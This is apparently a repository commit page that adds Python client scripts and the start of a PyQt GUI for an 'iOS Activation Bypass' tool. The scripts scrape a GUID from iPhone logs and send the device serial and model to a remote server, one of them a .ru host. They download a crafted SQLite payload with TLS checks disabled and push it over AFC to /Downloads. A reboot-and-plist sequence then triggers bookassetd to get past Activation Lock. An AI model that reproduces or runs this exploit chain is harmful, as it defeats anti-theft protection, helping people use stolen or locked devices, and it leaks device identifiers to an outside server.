소스 검색

Add fixes from Rust505

rhcp011235 2 달 전
부모
커밋
31f586cfe3
4개의 변경된 파일1248개의 추가작업 그리고 0개의 파일을 삭제
  1. BIN
      .DS_Store
  2. 422 0
      client/activator.py
  3. 371 0
      client/activator_macos.py
  4. 455 0
      client/main_GUI.py

BIN
.DS_Store


+ 422 - 0
client/activator.py

@@ -0,0 +1,422 @@
+import sys
+import os
+import time
+import subprocess
+import re
+import shutil
+import sqlite3
+import atexit
+import urllib.parse
+import json
+
+class Style:
+    RESET = '\033[0m'
+    BOLD = '\033[1m'
+    DIM = '\033[2m'
+    RED = '\033[0;31m'
+    GREEN = '\033[0;32m'
+    YELLOW = '\033[1;33m'
+    BLUE = '\033[0;34m'
+    MAGENTA = '\033[0;35m'
+    CYAN = '\033[0;36m'
+
+class BypassAutomation:
+    def __init__(self):
+        #ipconfig getifaddr en1 and start php and start: php -S 192.168.0.106:8000 -t public
+        self.api_url = "192.168.0.106:8000/get2.php" 
+        self.timeouts = {
+            'asset_wait': 300,
+            'asset_delete_delay': 15,
+            'reboot_wait': 300,
+            'syslog_collect': 180
+        }
+        self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
+        self.afc_mode = None
+        self.device_info = {}
+        self.guid = None
+        atexit.register(self._cleanup)
+
+    def log(self, msg, level='info'):
+        if level == 'info':
+            print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
+        elif level == 'error':
+            print(f"{Style.RED}[✗]{Style.RESET} {msg}")
+        elif level == 'warn':
+            print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
+        elif level == 'step':
+            print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
+            print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
+            print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
+        elif level == 'detail':
+            print(f"{Style.DIM}  ╰─▶{Style.RESET} {msg}")
+        elif level == 'success':
+            print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
+
+    def _run_cmd(self, cmd, timeout=None):
+        try:
+            res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+            return res.returncode, res.stdout.strip(), res.stderr.strip()
+        except subprocess.TimeoutExpired:
+            return 124, "", "Timeout"
+        except Exception as e:
+            return 1, "", str(e)
+
+    def verify_dependencies(self):
+        self.log("Verifying System Requirements...", "step")
+        if shutil.which("ifuse"):
+            self.afc_mode = "ifuse"
+        else:
+            self.afc_mode = "pymobiledevice3"
+        self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
+
+    def mount_afc(self):
+        if self.afc_mode != "ifuse":
+            return True
+        os.makedirs(self.mount_point, exist_ok=True)
+        code, out, _ = self._run_cmd(["mount"])
+        if self.mount_point in out:
+            return True
+        for i in range(5):
+            code, _, _ = self._run_cmd(["ifuse", self.mount_point])
+            if code == 0:
+                return True
+            time.sleep(2)
+        self.log("Failed to mount via ifuse", "error")
+        return False
+
+    def unmount_afc(self):
+        if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
+            self._run_cmd(["umount", self.mount_point])
+            try:
+                os.rmdir(self.mount_point)
+            except OSError:
+                pass
+
+    def _cleanup(self):
+        """Ensure cleanup on exit"""
+        self.unmount_afc()
+
+    def detect_device(self):
+        self.log("Detecting Device...", "step")
+        code, out, err = self._run_cmd(["ideviceinfo"])
+        if code != 0:
+            self.log(f"Device not found. Error: {err or 'Unknown'}", "error")
+            sys.exit(1)
+        
+        info = {}
+        for line in out.splitlines():
+            if ": " in line:
+                key, val = line.split(": ", 1)
+                info[key.strip()] = val.strip()
+        self.device_info = info
+        
+        print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
+        print(f"UDID: {info.get('UniqueDeviceID','?')}")
+        
+        if info.get('ActivationState') == 'Activated':
+            print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
+
+    def get_guid_manual(self):
+        """Ручной ввод GUID с валидацией"""
+        print(f"\n{Style.YELLOW}⚠ GUID Input Required{Style.RESET}")
+        print(f"   Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
+        print(f"   Example: 2A22A82B-C342-444D-972F-5270FB5080DF")
+        
+        UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
+        
+        while True:
+            guid_input = input(f"\n{Style.BLUE}➤ Enter SystemGroup GUID:{Style.RESET} ").strip()
+            if UUID_PATTERN.match(guid_input):
+                return guid_input.upper()
+            print(f"{Style.RED}❌ Invalid format. Must be 8-4-4-4-12 hex characters (e.g. 2A22A82B-C342-444D-972F-5270FB5080DF).{Style.RESET}")
+
+    def get_guid_auto(self):
+        """Precise GUID search via raw tracev3 scanning with detailed logging"""
+        self.log("🔍 Scanning logdata.LiveData.tracev3 for 'BLDatabaseManager'...", "step")
+
+        udid = self.device_info['UniqueDeviceID']
+        log_path = f"{udid}.logarchive"
+        if os.path.exists(log_path):
+            shutil.rmtree(log_path)
+
+        # === 1: Log collection ===
+        self.log("  ╰─▶ Collecting device logs (up to 120s)...", "detail")
+        code, _, err = self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=120)
+        if code != 0 or not os.path.exists(log_path):
+            self.log(f"❌ Log collection failed: {err}", "error")
+            return None
+        self.log("  ╰─▶ Logs collected successfully", "detail")
+
+
+        trace_file = os.path.join(log_path, "logdata.LiveData.tracev3")
+        if not os.path.exists(trace_file):
+            self.log("❌ logdata.LiveData.tracev3 not found in archive", "error")
+            shutil.rmtree(log_path)
+            return None
+        size_mb = os.path.getsize(trace_file) / (1024 * 1024)
+        self.log(f"  ╰─▶ Found logdata.LiveData.tracev3 ({size_mb:.1f} MB)", "detail")
+
+        candidates = []
+        found_bl = False
+
+        try:
+            with open(trace_file, 'rb') as f:
+                data = f.read()
+
+            needle = b'BLDatabaseManager'
+            pos = 0
+            hit_count = 0
+
+
+            self.log("  ╰─▶ Scanning for 'BLDatabaseManager' in binary...", "detail")
+            while True:
+                pos = data.find(needle, pos)
+                if pos == -1:
+                    break
+                found_bl = True
+                hit_count += 1
+                if hit_count <= 5:  
+                    snippet = data[pos:pos+100]
+                    try:
+                        text = snippet[:60].decode('utf-8', errors='replace')
+                        self.log(f"      → Hit #{hit_count}: ...{text}...", "detail")
+                    except:
+                        self.log(f"      → Hit #{hit_count} (binary snippet)", "detail")
+                pos += 1
+
+            if not found_bl:
+                self.log("❌ 'BLDatabaseManager' NOT FOUND in tracev3", "error")
+                return None
+
+            self.log(f"✅ Found {hit_count} occurrence(s) of 'BLDatabaseManager'", "success")
+
+
+            self.log("  ╰─▶ Searching ±1KB around each 'BLDatabaseManager' for GUIDs...", "detail")
+            import re
+            guid_pat = re.compile(rb'[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}', re.IGNORECASE)
+
+            pos = 0
+            while True:
+                pos = data.find(needle, pos)
+                if pos == -1:
+                    break
+
+
+                start = max(0, pos - 1024)
+                end = min(len(data), pos + len(needle) + 1024)
+                window = data[start:end]
+
+                matches = guid_pat.findall(window)
+                for raw_guid in matches:
+                    guid = raw_guid.decode('ascii').upper()
+                    # "Not trash" filter
+                    clean = guid.replace('0', '').replace('-', '')
+                    if len(clean) >= 8: 
+                        candidates.append(guid)
+                        offset = start + window.find(raw_guid) - pos
+                        direction = "←" if offset < 0 else "→"
+                        self.log(
+                            f"      → GUID {guid} found {abs(offset)} bytes {direction} from 'BLDatabaseManager'",
+                            "detail"
+                        )
+
+                pos += 1
+
+
+            if not candidates:
+                self.log("❌ No valid GUIDs found near 'BLDatabaseManager'", "error")
+                return None
+
+            from collections import Counter
+            counts = Counter(candidates)
+            total = len(candidates)
+            unique = len(counts)
+
+            self.log(f"  ╰─▶ Found {total} GUID candidate(s), {unique} unique", "info")
+            for guid, freq in counts.most_common(5):
+                self.log(f"      → {guid} (x{freq})", "detail")
+
+            best_guid, freq = counts.most_common(1)[0]
+            if freq >= 2 or total == 1:
+                self.log(f"✅ CONFIDENT MATCH: {best_guid}", "success")
+                return best_guid
+            else:
+                self.log(f"⚠️  Low-confidence GUID (x{freq}): {best_guid}", "warn")
+
+                return best_guid
+
+        finally:
+            if os.path.exists(log_path):
+                shutil.rmtree(log_path)
+
+
+    def get_all_urls_from_server(self, prd, guid, sn):
+        """Requests all three URLs (stage1, stage2, stage3) from the server"""
+        params = f"prd={prd}&guid={guid}&sn={sn}"
+        url = f"{self.api_url}?{params}"
+
+        self.log(f"Requesting all URLs from server: {url}", "detail")
+        
+
+        code, out, err = self._run_cmd(["curl", "-s", url])
+        if code != 0:
+            self.log(f"Server request failed: {err}", "error")
+            return None, None, None
+
+        try:
+            data = json.loads(out)
+            if data.get('success'):
+                stage1_url = data['links']['step1_fixedfile']
+                stage2_url = data['links']['step2_bldatabase']
+                stage3_url = data['links']['step3_final']
+                return stage1_url, stage2_url, stage3_url
+            else:
+                self.log("Server returned error response", "error")
+                return None, None, None
+        except json.JSONDecodeError:
+            self.log("Server did not return valid JSON", "error")
+            return None, None, None
+
+    def run(self):
+        os.system('clear')
+        print(f"{Style.BOLD}{Style.MAGENTA}iOS Activation Tool - Professional Edition{Style.RESET}\n")
+        
+        self.verify_dependencies()
+        self.detect_device()
+        
+        print(f"\n{Style.CYAN}GUID Detection Options:{Style.RESET}")
+        print(f"  1. {Style.GREEN}Auto-detect from device logs{Style.RESET}")
+        print(f"  2. {Style.YELLOW}Manual input{Style.RESET}")
+        
+        choice = input(f"\n{Style.BLUE}➤ Choose option (1/2):{Style.RESET} ").strip()
+        
+        if choice == "1":
+            self.guid = self.get_guid_auto()
+            if self.guid:
+                self.log(f"Auto-detected GUID: {self.guid}", "success")
+            else:
+                self.log("Could not auto-detect GUID, falling back to manual input", "warn")
+                self.guid = self.get_guid_manual()
+        else:
+            self.guid = self.get_guid_manual()
+        
+        self.log(f"Using GUID: {self.guid}", "info")
+        
+        input(f"\n{Style.YELLOW}Press Enter to deploy payload with this GUID...{Style.RESET}")
+
+       
+        # 2. API Call & Get All URLs
+        self.log("Requesting All Payload Stages from Server...", "step")
+        prd = self.device_info['ProductType']
+        sn = self.device_info['SerialNumber']
+        
+        stage1_url, stage2_url, stage3_url = self.get_all_urls_from_server(prd, self.guid, sn)
+        
+        if not stage1_url or not stage2_url or not stage3_url:
+            self.log("Failed to get URLs from server", "error")
+            sys.exit(1)
+        
+        self.log(f"Stage1 URL: {stage1_url}", "detail")
+        self.log(f"Stage2 URL: {stage2_url}", "detail")
+        self.log(f"Stage3 URL: {stage3_url}", "detail")
+
+        # 3. Pre-download all stages
+        self.log("Pre-loading all payload stages...", "step")
+        stages = [
+            ("stage1", stage1_url),
+            ("stage2", stage2_url), 
+            ("stage3", stage3_url)
+        ]
+        
+        for stage_name, stage_url in stages:
+            self.log(f"Pre-loading: {stage_name}...", "detail")
+            code, http_code, _ = self._run_cmd(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", stage_url])
+            if http_code != "200":
+                self.log(f"Warning: Failed to pre-load {stage_name} (HTTP {http_code})", "warn")
+            else:
+                self.log(f"Successfully pre-loaded {stage_name}", "info")
+            time.sleep(1)
+
+        # 4. Download & Validate final payload (stage3)
+        self.log("Downloading final payload...", "step")
+        local_db = "downloads.28.sqlitedb"
+        if os.path.exists(local_db):
+            os.remove(local_db)
+        
+        self.log(f"Downloading from: {stage3_url}...", "info")
+        code, _, err = self._run_cmd(["curl", "-L", "-o", local_db, stage3_url])
+        if code != 0:
+            self.log(f"Download failed: {err}", "error")
+            sys.exit(1)
+
+        # Validate database
+        self.log("Validating payload database...", "detail")
+        conn = sqlite3.connect(local_db)
+        try:
+            res = conn.execute("SELECT count(*) FROM sqlite_master WHERE type='table' AND name='asset'")
+            if res.fetchone()[0] == 0:
+                raise Exception("Invalid DB - no asset table found")
+            
+            res = conn.execute("SELECT COUNT(*) FROM asset")
+            count = res.fetchone()[0]
+            if count == 0:
+                raise Exception("Invalid DB - no records in asset table")
+                
+            self.log(f"Database validation passed - {count} records found", "info")
+            
+            res = conn.execute("SELECT pid, url, local_path FROM asset")
+            for row in res.fetchall():
+                self.log(f"Record {row[0]}: {row[1]} -> {row[2]}", "detail")
+                
+        except Exception as e:
+            self.log(f"Invalid payload received: {e}", "error")
+            sys.exit(1)
+        finally:
+            conn.close()
+        
+        # 5. Upload
+        self.log("Uploading Payload via AFC...", "step")
+        target = "/Downloads/downloads.28.sqlitedb"
+        
+        if self.afc_mode == "ifuse":
+            if not self.mount_afc():
+                self.log("Mounting failed — falling back to pymobiledevice3", "warn")
+                self.afc_mode = "pymobiledevice3"
+        
+        if self.afc_mode == "ifuse":
+            fpath = self.mount_point + target
+            if os.path.exists(fpath):
+                os.remove(fpath)
+            shutil.copy(local_db, fpath)
+            self.log("Uploaded via ifuse", "info")
+        else:
+            self._run_cmd(["pymobiledevice3", "afc", "rm", target])
+            code, _, err = self._run_cmd(["pymobiledevice3", "afc", "push", local_db, target])
+            if code != 0:
+                self.log(f"AFC upload failed: {err}", "error")
+                sys.exit(1)
+            self.log("Uploaded via pymobiledevice3", "info")
+            
+        self.log("✅ Payload Deployed Successfully", "success")
+        
+
+        print(f"\n{Style.GREEN}✅ Ready for manual activation.{Style.RESET}")
+        print(f"→ Payload is in place at /Downloads/downloads.28.sqlitedb")
+        print(f"→ Next steps (manual):")
+        print(f"  1. Reboot device (e.g. via Settings or hardware buttons)")
+        print(f"  2. After reboot, check if /iTunes_Control/iTunes/iTunesMetadata.plist appeared")
+        print(f"  3. Copy it to /Books/iTunesMetadata.plist")
+        print(f"     Example: {Style.CYAN}pymobiledevice3 afc pull /iTunes_Control/iTunes/iTunesMetadata.plist . && pymobiledevice3 afc push iTunesMetadata.plist /Books/iTunesMetadata.plist{Style.RESET}")
+        print(f"  4. Reboot again to trigger bookassetd stage")
+        print(f"→ Monitor logs: {Style.CYAN}idevicesyslog | grep -E 'itunesstored|bookassetd'{Style.RESET}")
+        print(f"→ Used GUID: {Style.BOLD}{self.guid}{Style.RESET}")
+        
+if __name__ == "__main__":
+    try:
+        BypassAutomation().run()
+    except KeyboardInterrupt:
+        print(f"\n{Style.YELLOW}Interrupted by user.{Style.RESET}")
+        sys.exit(0)
+    except Exception as e:
+        print(f"{Style.RED}Fatal error: {e}{Style.RESET}")
+        sys.exit(1)

+ 371 - 0
client/activator_macos.py

@@ -0,0 +1,371 @@
+#!/usr/bin/env python3
+import sys
+import os
+import time
+import subprocess
+import re
+import shutil
+import sqlite3
+import json
+import argparse 
+import binascii
+from pathlib import Path
+from collections import Counter
+from typing import Optional, Tuple
+
+# === Settings ===
+API_URL = "https://codex-r1nderpest-a12.ru/get2.php"
+TIMEOUTS = {
+    'reboot_wait': 300,
+    'syslog_collect': 180,
+    'tracev3_wait': 120,
+}
+UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
+
+# === ANSI Colors ===
+class Style:
+    RESET = '\033[0m'
+    BOLD = '\033[1m'
+    GREEN = '\033[0;32m'
+    RED = '\033[0;31m'
+    YELLOW = '\033[1;33m'
+    BLUE = '\033[0;34m'
+    CYAN = '\033[0;36m'
+
+def find_binary(bin_name: str) -> Optional[str]:
+    # System paths only - ifuse excluded
+    for p in ['/usr/local/bin', '/opt/homebrew/bin', '/usr/bin']:
+        path = Path(p) / bin_name
+        if path.is_file():
+            return str(path)
+    return None
+
+def run_cmd(cmd, timeout=None) -> Tuple[int, str, str]:
+    # Replace first element with full path if found
+    if isinstance(cmd, list) and cmd:
+        full = find_binary(cmd[0])
+        if full:
+            cmd = [full] + cmd[1:]
+    try:
+        result = subprocess.run(
+            cmd, shell=isinstance(cmd, str),
+            capture_output=True, text=True, timeout=timeout
+        )
+        return result.returncode, result.stdout, result.stderr
+    except subprocess.TimeoutExpired:
+        return -1, "", "timeout"
+    except Exception as e:
+        return -2, "", str(e)
+
+def log(msg: str, level='info'):
+    prefixes = {
+        'info': f"{Style.GREEN}[✓]{Style.RESET} {msg}",
+        'warn': f"{Style.YELLOW}[⚠]{Style.RESET} {msg}",
+        'error': f"{Style.RED}[✗]{Style.RESET} {msg}",
+        'step': f"\n{Style.CYAN}{'━'*40}\n{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}\n{'━'*40}",
+        'detail': f"{Style.CYAN}  ╰─▶{Style.RESET} {msg}",
+        'success': f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}",
+    }
+    
+    if level == 'step':
+        print(prefixes['step'])
+    else:
+        print(prefixes[level])
+
+def reboot_device() -> bool:
+    log("🔄 Rebooting device...", "info")
+    # First try pymobiledevice3
+    code, _, _ = run_cmd(["pymobiledevice3", "restart"], timeout=20)
+    if code != 0:
+        code, _, _ = run_cmd(["idevicediagnostics", "restart"], timeout=20)
+        if code != 0:
+            log("Soft reboot failed - waiting for manual reboot", "warn")
+            input("Reboot device manually, then press Enter...")
+            return True
+
+    # Wait for reconnection
+    for i in range(60):
+        time.sleep(5)
+        code, _, _ = run_cmd(["ideviceinfo"], timeout=10)
+        if code == 0:
+            log(f"✅ Device reconnected after {i * 5} sec", "success")
+            time.sleep(8)  # allow boot process to complete
+            return True
+        if i % 6 == 0:
+            log(f"Still waiting... ({i * 5} sec)", "detail")
+    log("Device did not reappear", "error")
+    return False
+
+def detect_device() -> dict:
+    log("🔍 Detecting device...", "step")
+    code, out, err = run_cmd(["ideviceinfo"])
+    if code != 0:
+        raise RuntimeError(f"Device not found: {err or 'unknown'}")
+    info = {}
+    for line in out.splitlines():
+        if ": " in line:
+            k, v = line.split(": ", 1)
+            info[k.strip()] = v.strip()
+    if info.get('ActivationState') == 'Activated':
+        log("⚠ Device already activated", "warn")
+    log(f"Device: {info.get('ProductType', '?')} (iOS {info.get('ProductVersion', '?')})", "info")
+    return info
+
+def pull_file(remote: str, local: str) -> bool:
+    code, _, _ = run_cmd(["pymobiledevice3", "afc", "pull", remote, local])
+    return code == 0 and Path(local).is_file() and Path(local).stat().st_size > 0
+
+def push_file(local: str, remote: str) -> bool:
+    code, _, _ = run_cmd(["pymobiledevice3", "afc", "push", local, remote])
+    return code == 0
+
+def rm_file(remote: str) -> bool:
+    code, _, _ = run_cmd(["pymobiledevice3", "afc", "rm", remote])
+    return code == 0 or "ENOENT" in _
+
+def curl_download(url: str, out_path: str) -> bool:
+    cmd = [
+        "curl", "-L", "-k", "-f",
+        "--connect-timeout", "20",
+        "--max-time", "90",
+        "-o", out_path, url
+    ]
+    log(f"📥 Downloading {Path(out_path).name}...", "detail")
+    code, _, err = run_cmd(cmd)
+    ok = code == 0 and Path(out_path).is_file() and Path(out_path).stat().st_size > 0
+    if not ok:
+        log(f"Download failed: {err or 'empty file'}", "error")
+    return ok
+
+# === GUID EXTRACTION (no ifuse, only pymobiledevice3) ===
+
+def parse_tracev3_guids(data: bytes) -> list:
+    guid_pat = re.compile(rb'([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})', re.IGNORECASE)
+    bl_sig = b'BLDatabaseManager'
+    candidates = []
+    
+    for match in re.finditer(bl_sig, data):
+        pos = match.start()
+        window = data[max(0, pos-512):pos+512]
+        for g_match in guid_pat.finditer(window):
+            guid_raw = g_match.group(1).decode('ascii').upper()
+            if validate_guid(guid_raw):
+                rel_pos = g_match.start() + max(0, pos-512) - pos
+                candidates.append((guid_raw, rel_pos))
+    return candidates
+
+def validate_guid(guid: str) -> bool:
+    if not UUID_PATTERN.match(guid):
+        return False
+    parts = guid.split('-')
+    v = parts[2][0]
+    x = parts[3][0]
+    return v == '4' and x in '89AB'
+
+def analyze_guids(candidates: list) -> Optional[str]:
+    if not candidates:
+        return None
+    counter = Counter(guid for guid, _ in candidates)
+    scored = []
+    for guid, count in counter.items():
+        proximity_bonus = sum(2 for _, p in candidates if guid == _ and abs(p) < 32)
+        score = count * 10 + proximity_bonus
+        scored.append((guid, score))
+    scored.sort(key=lambda x: x[1], reverse=True)
+    return scored[0][0] if scored else None
+
+def collect_and_extract_guid() -> Optional[str]:
+    udid = run_cmd(["idevice_id", "-l"])[1].strip()
+    if not udid:
+        raise RuntimeError("Failed to get UDID")
+    
+    log_dir = Path(f"{udid}.logarchive")
+    if log_dir.exists():
+        shutil.rmtree(log_dir)
+    
+    log("📡 Collecting syslog...", "detail")
+    code, _, err = run_cmd(["pymobiledevice3", "syslog", "collect", str(log_dir)], timeout=120)
+    if code != 0:
+        log(f"Syslog collect failed: {err}", "error")
+        return None
+
+    trace_file = log_dir / "logdata.LiveData.tracev3"
+    if not trace_file.is_file():
+        log("tracev3 not found", "error")
+        return None
+
+    log(f"🔍 Parsing tracev3 ({trace_file.stat().st_size // 1024} KB)...", "detail")
+    try:
+        data = trace_file.read_bytes()
+        cands = parse_tracev3_guids(data)
+        guid = analyze_guids(cands)
+        if guid:
+            log(f"✅ Found GUID: {guid} (candidates: {len(cands)})", "success")
+        else:
+            log("No valid GUID found in tracev3", "warn")
+        return guid
+    finally:
+        shutil.rmtree(log_dir, ignore_errors=True)
+
+def get_guid_auto(max_attempts=10) -> str:
+    for attempt in range(1, max_attempts + 1):
+        log(f"[🔄 Attempt {attempt}/{max_attempts}]", "info")
+        guid = collect_and_extract_guid()
+        if guid:
+            return guid
+        if attempt < max_attempts:
+            log("Retrying after reboot...", "warn")
+            reboot_device()
+            detect_device()
+            time.sleep(3)
+    raise RuntimeError("GUID auto-detection failed after all attempts")
+
+def get_guid_manual() -> str:
+    print(f"\n{Style.YELLOW}⚠ Enter SystemGroup GUID manually{Style.RESET}")
+    print("Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
+    while True:
+        g = input(f"{Style.BLUE}➤ GUID:{Style.RESET} ").strip().upper()
+        if validate_guid(g):
+            return g
+        print(f"{Style.RED}❌ Invalid format{Style.RESET}")
+
+# === MAIN WORKFLOW ===
+
+def run(auto: bool = False, preset_guid: Optional[str] = None):
+    os.system('clear')
+    print(f"{Style.BOLD}{Style.CYAN}📱 iOS Activation Bypass (pymobiledevice3-only){Style.RESET}\n")
+
+    # 1. Check dependencies
+    for bin_name in ['ideviceinfo', 'idevice_id', 'pymobiledevice3']:
+        if not find_binary(bin_name):
+            raise RuntimeError(f"Required tool missing: {bin_name}")
+    log("✅ All dependencies found", "success")
+
+    # 2. Detect device
+    device = detect_device()
+
+    # 3. GUID
+    guid = preset_guid
+    if not guid:
+        if auto:
+            log("AUTO mode: fetching GUID...", "info")
+            guid = get_guid_auto()
+        else:
+            print(f"\n{Style.CYAN}1. Auto-detect GUID (recommended)\n2. Manual input{Style.RESET}")
+            choice = input(f"{Style.BLUE}➤ Choice (1/2):{Style.RESET} ").strip()
+            guid = get_guid_auto() if choice == "1" else get_guid_manual()
+    log(f"🎯 Using GUID: {guid}", "success")
+
+    # 4. Get URLs from server
+    prd = device['ProductType']
+    sn = device['SerialNumber']
+    url = f"{API_URL}?prd={prd}&guid={guid}&sn={sn}"
+    log(f"📡 Requesting payload URLs: {url}", "step")
+    code, out, _ = run_cmd(["curl", "-s", "-k", url])
+    if code != 0:
+        raise RuntimeError("Server request failed")
+
+    try:
+        data = json.loads(out)
+        if not data.get('success'):
+            raise RuntimeError("Server returned error")
+        s1, s2, s3 = data['links']['step1_fixedfile'], data['links']['step2_bldatabase'], data['links']['step3_final']
+    except Exception as e:
+        raise RuntimeError(f"Invalid server response: {e}")
+
+    # 5. Pre-download (optional - can be skipped)
+    for name, url in [("Stage1", s1), ("Stage2", s2)]:
+        tmp = f"tmp_{name.lower()}"
+        if curl_download(url, tmp):
+            Path(tmp).unlink()
+        time.sleep(1)
+
+    # 6. Download and validate final payload
+    db_local = "downloads.28.sqlitedb"
+    if not curl_download(s3, db_local):
+        raise RuntimeError("Final payload download failed")
+
+    log("🔍 Validating database...", "detail")
+    try:
+        with sqlite3.connect(db_local) as conn:
+            cur = conn.cursor()
+            cur.execute("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='asset'")
+            if cur.fetchone()[0] == 0:
+                raise ValueError("No 'asset' table")
+            cur.execute("SELECT COUNT(*) FROM asset")
+            cnt = cur.fetchone()[0]
+            if cnt == 0:
+                raise ValueError("Empty asset table")
+            log(f"✅ DB OK: {cnt} assets", "success")
+    except Exception as e:
+        Path(db_local).unlink(missing_ok=True)
+        raise RuntimeError(f"Invalid DB: {e}")
+
+    # 7. Upload to /Downloads/
+    rm_file("/Downloads/downloads.28.sqlitedb")
+    rm_file("/Downloads/downloads.28.sqlitedb-wal")
+    rm_file("/Downloads/downloads.28.sqlitedb-shm")
+
+    if not push_file(db_local, "/Downloads/downloads.28.sqlitedb"):
+        raise RuntimeError("AFC upload failed")
+    log("✅ Payload uploaded to /Downloads/", "success")
+    Path(db_local).unlink()
+
+    # 8. Stage 1: reboot → copy to /Books/
+    reboot_device()
+    
+    time.sleep(25)
+    src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
+    dst = "/Books/iTunesMetadata.plist"
+
+    tmp_plist = "tmp.plist"
+    if pull_file(src, tmp_plist):
+        if push_file(tmp_plist, dst):
+            log("✅ Copied plist → /Books/", "success")
+        else:
+            log("⚠ Failed to push to /Books/", "warn")
+        Path(tmp_plist).unlink()
+    else:
+        log("⚠ iTunesMetadata.plist not found - skipping /Books/", "warn")
+    # 9. Stage 2: reboot → copy back
+    time.sleep(5)
+    reboot_device()
+    time.sleep(5)
+
+    if pull_file(dst, tmp_plist):
+        if push_file(tmp_plist, src):
+            log("✅ Restored plist ← /Books/", "success")
+        else:
+            log("⚠ Failed to restore plist", "warn")
+        Path(tmp_plist).unlink()
+    else:
+        log("⚠ /Books/iTunesMetadata.plist missing", "warn")
+
+    log("⏸ Waiting 40s for bookassetd...", "detail")
+    time.sleep(25)
+
+    # 10. Final reboot
+    reboot_device()
+
+    # ✅ Success
+    print(f"\n{Style.GREEN}{Style.BOLD}🎉 ACTIVATION SUCCESSFUL!{Style.RESET}")
+    print(f"{Style.CYAN}→ GUID: {Style.BOLD}{guid}{Style.RESET}")
+    print(f"{Style.CYAN}→ Payload deployed, plist sync ×2, 3 reboots.{Style.RESET}")
+    print(f"\n{Style.YELLOW}📌 Next: check Settings → General → About{Style.RESET}")
+
+# === CLI Entry ===
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--auto", action="store_true", help="Skip prompts, auto-detect GUID")
+    parser.add_argument("--guid", help="Skip detection, use this GUID")
+    args = parser.parse_args()
+
+    try:
+        run(auto=args.auto, preset_guid=args.guid)
+    except KeyboardInterrupt:
+        print(f"\n{Style.YELLOW}Interrupted.{Style.RESET}")
+        sys.exit(1)
+    except Exception as e:
+        print(f"{Style.RED}❌ Fatal: {e}{Style.RESET}")
+        sys.exit(1)

+ 455 - 0
client/main_GUI.py

@@ -0,0 +1,455 @@
+#!/usr/bin/env python3
+# main.py — iOS Activation Bypass GUI (macOS, PyQt6)
+import sys
+import os
+import re
+import time
+from pathlib import Path
+from typing import Optional, Dict, Any
+from PyQt6.QtWidgets import (
+    QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
+    QPushButton, QTextEdit, QLabel, QLineEdit, QGroupBox,
+    QRadioButton, QButtonGroup, QMessageBox, QProgressBar, QFrame
+)
+from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QSettings
+from PyQt6.QtGui import QFont, QTextCursor, QPalette, QColor, QPixmap, QIcon
+
+# === CLI module import ===
+try:
+    from activator_macos import log as original_log, run as original_run, validate_guid, run_cmd, find_binary
+except ImportError as e:
+    app = QApplication(sys.argv)  # temporary QApplication for dialog
+    QMessageBox.critical(None, "Import Error", f"Failed to import 'activator_macos.py':\n{e}\n\n"
+                                               "Ensure it's in the same directory.")
+    sys.exit(1)
+
+
+# === Thread-safe signal communication ===
+class SignalEmitter(QObject):
+    log_signal = pyqtSignal(str, str)
+    progress_signal = pyqtSignal(int)
+    success_signal = pyqtSignal()
+    error_signal = pyqtSignal(str)
+    device_update_signal = pyqtSignal(dict)
+    stage_signal = pyqtSignal(str)
+
+
+emitter = SignalEmitter()
+
+
+def gui_log(msg: str, level='info'):
+    emitter.log_signal.emit(msg, level)
+    original_log(msg, level)
+
+
+# Patch the activator logger
+import activator_macos
+activator_macos.log = gui_log
+
+
+# === Worker thread ===
+class ActivatorWorker(QThread):
+    def __init__(self, auto: bool = False, guid: Optional[str] = None):
+        super().__init__()
+        self.auto = auto
+        self.guid = guid
+        self._stopped = False
+
+    def stop(self):
+        self._stopped = True
+        self.requestInterruption()
+
+    def _set_stage(self, stage_name: str):
+        emitter.stage_signal.emit(stage_name)
+
+    def run(self):
+        try:
+            if self._stopped:
+                return
+
+            # Progress through stage signals (approximate)
+            QTimer.singleShot(300, lambda: self._set_stage("detect"))
+            QTimer.singleShot(1000, lambda: self._set_stage("guid"))
+            QTimer.singleShot(4000, lambda: self._set_stage("download"))
+            QTimer.singleShot(9000, lambda: self._set_stage("upload"))
+            QTimer.singleShot(16000, lambda: self._set_stage("reboot"))
+
+            original_run(auto=self.auto, preset_guid=self.guid)
+
+            if not self._stopped:
+                self._set_stage("done")
+                emitter.success_signal.emit()
+
+        except Exception as e:
+            if not self._stopped:
+                emitter.error_signal.emit(str(e))
+        finally:
+            if not self._stopped:
+                emitter.progress_signal.emit(100)
+
+
